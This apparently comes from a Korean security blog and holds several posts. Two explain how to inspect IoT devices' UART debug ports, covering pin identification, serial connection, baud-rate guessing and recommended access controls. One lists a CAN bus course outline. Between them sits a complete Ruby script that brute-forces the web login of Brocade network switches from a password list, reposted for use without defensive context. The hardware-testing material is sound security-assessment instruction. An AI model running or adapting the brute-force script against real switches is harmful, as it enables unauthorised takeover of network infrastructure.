개발, 구축 단계가 완료되고 상용에 배포가 될 때는 디버깅 포트를 물리적으로 제거하고 나가는 것이 가장 안전하기 때문에 해당 점검에 의미가 있습니다.

 

이전 포스트에서 말했던 것처럼 TX, RX, +3.3V(VCC), GND 이렇게 4개의 PIN으로 구성된 UART 포트를 찾을 수 있습니다. UART 포트인지 확신이 서지 않으면 멀티 테스터(멀티 미터)를 통해 전압을 체크합니다.

이 후, USB-ISP 도구로 UART 포트에 알맞게 연결하여 쉘로 진입할 수 있습니다.

 




[점검 Pont 02. UART 포트 쉘 접근 제어]
사진이 없어서 글로만 설명하겠습니다.. (사진 찍기가 어려운 환경에서만 접해봐서 못 찍었습니다..)


UART 포트 쉘에 대해 접근을 제어하는 방법은 대충 3가지 정도가 있을 것 같네요.

1. Baud Rate(보레이트)를 일반적이지 않는 값으로 하여 보레이트 Brute Force 공격을 어렵게 합니다.

2. 쉘 진입 시, Magic Key를 적용합니다.

Magic Key 적용이 된 장비는

쉘 진입 시에 프롬프트에 아무 것도 나오지 않은 상태인 경우가 많고 그 상태에서 특정 문자열로 된 Magic Key를 이력하면, 로그인 프롬프트가 뜨게 됩니다.

3. 쉘 인증키를 어렵게 설정합니다.

일반적인 Login ID와 PW 입니다. Password 생성 조건을 까다롭게 하여, 유추하기 힘든 비밀번호를 설정합니다.

 

위 세 가지가 적용되어 있는지 점검, 확인하고 안되있을 경우에는 권고하는 것이 좋겠습니다.

 

 


[점검 Pont 03. UART 포트 진입 시 민감정보 노출]

UART 포트를 통해 디버깅 쉘 또는 부트로더에 진입할 때, 민감한 정보가 노출될 수 있습니다.

공격자는 노출되는 시스템 정보, 디버깅 정보, 에러 정보 등을 통해 추가 2차 공격을 수행 할지도 모릅니다.

따라서 UART 포트 진입시 불필요하게 노출되는 민감정보들을 점검하고 삭제하도록 권고, 가이드 해야 합니다.

 

 

 

[기타 점검 Pont]

물리적 보안에 대해서 IoT 기기를 어떻게 관리할 지, 즉 관리자 이외의 사람이 접근하지 못할 장소에 놓는 것도 중요합니다. 또한 IoT 기기에 접근하더라도 내부는 실링 처리를 통해 쉽게 접근하지 못하도록 2중적인 방어도 필요합니다.

 

이외에도 부트로더 진입시 펌웨어 탈취, 변조 통해 시스템 권한을 탈취하는 방법도 있습니다.

 

(허가 되지 않은 점검도구 활용 스캔은 법적 문제 소지가 있으니 주의!)

블로그 이미지

wtdsoul

,

[IoT 기기 진단] UART 디버깅 포트 점검 (시나리오) (tistory.com)

 

[IoT 기기 진단] UART 디버깅 포트 점검 (시나리오)

(허가 되지 않은 점검도구 활용 스캔은 법적 문제 소지가 있으니 주의!) 지난 포스트에 이어서 이번에는 UART 디버깅 포트의 점검 시나리오를 알아보겠습니다. [점검 시나리오] 제 경험상, 일반적

tech-dailylife.tistory.com

 

지난 포스트에 이어서 이번에는 UART 디버깅 포트의 점검 시나리오를 알아보겠습니다.

 

[점검 시나리오]

제 경험상, 일반적으로 점검 시나리오는 아래와 같이 3가지 단계로 나눠볼 수 있습니다.

UART 포트 물리적 탐색 -> UART 포트/장치 연결 -> Serial 포트로 접속

 

1. UART 포트 물리적 탐색

먼저 IoT 단말에서 UART 의심 포트를 육안으로 확인해야 합니다.

일반적으로 UART 포트의 생김새가 어떤지 알고 있고 경험이 있으면 더 분별하기 쉽습니다. 다양한 UART 포트 케이스가 있기 때문에 확실히 하기 위해서는 멀티 테스터를 사용하여 전압을 측정하는 방법을 사용합니다.

 

보통 4PIN 포트가 UART 포트인 경우가 많으며, Debug나 UART 등의 문자열이 표시된 경우도 있습니다.

또는 각 PIN의 이름이 TX, RX, GND, VCC 이렇게 각각 표시되어 있는 경우도 있습니다.

또 위에 사진처럼 PIN이 PIN 모양이 아니라, 특이하게 생긴 경우도 볼 수 있습니다.  

 

문자가 표기되어 있는 경우가 아니라면, UART 포트를 확신하기 힘들기 떄문에 멀티 테스터를 사용하여 확인 합니다.

멀티 테스터의 검은선을 GND에 접촉시키고, 각 PIN을 대보면서 전압을 측정합니다.

(특정 PIN을 GND로 특정하여 가정한 후 진행하며, 반응이 없을 때는 다른 PIN을 GND로 가정하는 것을 반복합니다.)

각 PIN의 전압이 아래 표에 있는 PIN 전압 또는 기타 레퍼런스들을 참고하여 어떤지 확인하고 예측하여 확인합니다.

 

3.3V(혹은 5v)의 전압이 잡히면 (-) 리드선은 GND / (+) 리드선은 VCC 일 확률이 높으며,

3V의 경우 TX, 모두가 아니라 극히 낮은 전압이라면 RX일 확률이 크니 참고하면 됩니다.

 

(멀티 테스터가 없는 경우에는 LED 불 장비나 PCB 특성을 이용할 수도 있습니다.)

 

 

2. UART 포트/장치 연결 

아래와 같은 USB-ISP 점검 도구를 사용하겠습니다.

USB를 점검 PC나 노트북의 USB 포트에 연결하고, PIN들을 알맞게 점검 대상 장비의 UART 포트에 연결합니다.

TX와 RX를 교차하고 GND끼리 연결 합니다. (잘 이해가 안되시는 분은 앞 포스트 설명 참고 하시면 더 좋을 것 같아요.)

사진에서처럼 USB-ISP 점검 도구에 파란색/빨간색 불이 들어온 것을 보고 전류가 통하고 연결이 된 것을 대충 예상할 수 있습니다.

 

 

 

3. Serial 포트로 접속

물리적 연결을 완료하면, 점검 PC의 장치관리자에서 연결된 COM 포트 번호를 확인할 수 있습니다.

COM3으로 제대로 연결이 되어 인식되고 있습니다.

그 다음은 시리얼 통신을 지원하는 원격 쉘 프로그램을 사용합니다. 가장 간편하게 사용하는 Putty를 사용하겠습니다.

아래와 같이 putty에서 SSH의 Serial 통신 부분을 선택하고 첫 칸에 COM3(장치관리자에서 나타난 USB Serial Port로 입력)를 기입합니다.

그리고 Speed 부분, Baud Rate 부분에는 115200(기본값)으로 연결을 하여 시도합니다.

 

Baudrate(보레이트)는 1초에 몇 개의 신호를 보낼 것인가를 정하는 것으로 이 값이 맞지 않으면 정상적으로 디버깅 쉘로 진입할 수가 없습니다.

(보레이트는 높을수록 데이터 전송 속도가 빠릅니다.)

보통 115200, 57600, 38400, 19200, 9600 순으로 Brute Force Attack하여 Buad Rate를 맞춥니다.

 

만약 디버깅 쉘이 내용은 뜨는데 깨져서 알아보기 힘들다면 Baud Rate의 문제일 수도 있습니다. Baud Rate를 점검대상 기기 단말의 Baud Rate와 맞춰주면 해결될 수도 있습니다.

성공한다면 로그인 로그나 메시지들이 뜨기도 하며,

로그인 쉘이 나옵니다. (아무 것도 안나오다가 Magic Key를 눌렀을 떄 나오도록 보안조치된 경우도 존재함)

 

(허가 되지 않은 점검도구 활용 스캔은 법적 문제 소지가 있으니 주의!)

블로그 이미지

wtdsoul

,

brocade_switch

경로 및 정보 2022. 10. 28. 10:39
45 lines (42 sloc)  1.18 KB
 
 
  #!/usr/bin/ruby
  # Brocade Switch Brute Forcer
  # @ndrix
  require 'net/http'
  require 'base64'
   
  def usage
  puts "#{$0} <url> <login> passwords.txt"
  puts "<login> is usually root, admin, user or factory"
  exit
  end
   
  usage if ARGV.length < 3
  uri = URI.parse(ARGV.first)
  rand = 0
   
  # get the arguments
  http = Net::HTTP.new(uri.host, uri.port)
  req = Net::HTTP::Get.new("/Authenticate.html?page=/switchExplorer.html")
  req["User-Agent"] = "WebTools"
  req["Cache-Control"] = "no-cache"
  req["Connection"] = "keep-alive"
  file = File.open(ARGV[2])
  puts " + going to try #{file.readlines.size} passwords"
  counter = 0
  File.open(ARGV[2]).each do |password|
  counter += 1
  password.chomp!
  auth = "#{ARGV[1]}:#{password}:#{3000000000+rand(999999999)}"
  req["Authorization"] = "Custom_Basic #{Base64.encode64(auth).chomp}"
  resp = http.request(req)
  if resp.code.eql?("200")
  response_lines = resp.body.split("\n")
  if response_lines[9].eql?("authenticated = no")
  print "."; $stdout.flush
  else
  puts "\nFound it! : #{password}"
  exit
  end
  else
  puts " ! something went wrong, we got a http code #{resp.code}"
  end
  print " #{counter}\n" if (counter % 50).eql?(0)
  end
  puts "\n + all done, we didn't find anything."
블로그 이미지

wtdsoul

,

CAN 통신 강의

경로 및 정보 2022. 10. 28. 09:16

https://www.inflearn.com/course/%EC%9E%90%EB%8F%99%EC%B0%A8-%EC%8B%A0%EC%9E%85-can%ED%86%B5%EC%8B%A0#curriculum

 

CAN 통신 - 자동차 신입이 알아야 할 모든 것 - 인프런 | 강의

CAN통신에 대한 '학술적인' 강의가 아니라 '같이 일하게 될' 신입사원에게 알려준다는 생각으로 일을 하는 과정에서 필요한 모든 얘기들을 담았습니다., - 강의 소개 | 인프런...

www.inflearn.com

 

CAN High & CAN Low signal05:00
CAN Tranceiver & CAN Controller10:43
보너스 - 실제 CAN 트랜시버 데이터시트 살펴보기 (TJA1043)20:10
통신속도 : BaudRate23:13
보너스 - BaudRate 관련 : MCU 데이터 시트 살펴보기03:12
메세지의 ID15:24
메세지의 우선순위 & Bus Load16:23
메세지 속 '시그널'28:41

CAN 에러 처리 - 1. 개요04:05

CAN 에러 처리 - 2. 에러 감지 및 반응 (Error state)12:44
CAN 에러 처리 - 3. 에러의 종류 및 마무리15:25
CAN 에러 처리 - 4.Aurix MCU 살펴보기02:26
 
CAN FD 소개05:24
CAN DB. 그리고 "CAN DBC 파일" 소개06:12
보너스_CAN DBC 파일 직접 만들어보기05:44
Canoe (시뮬레이션 툴) 소개10:13
 
 
 
 
 
 
 
 
블로그 이미지

wtdsoul

,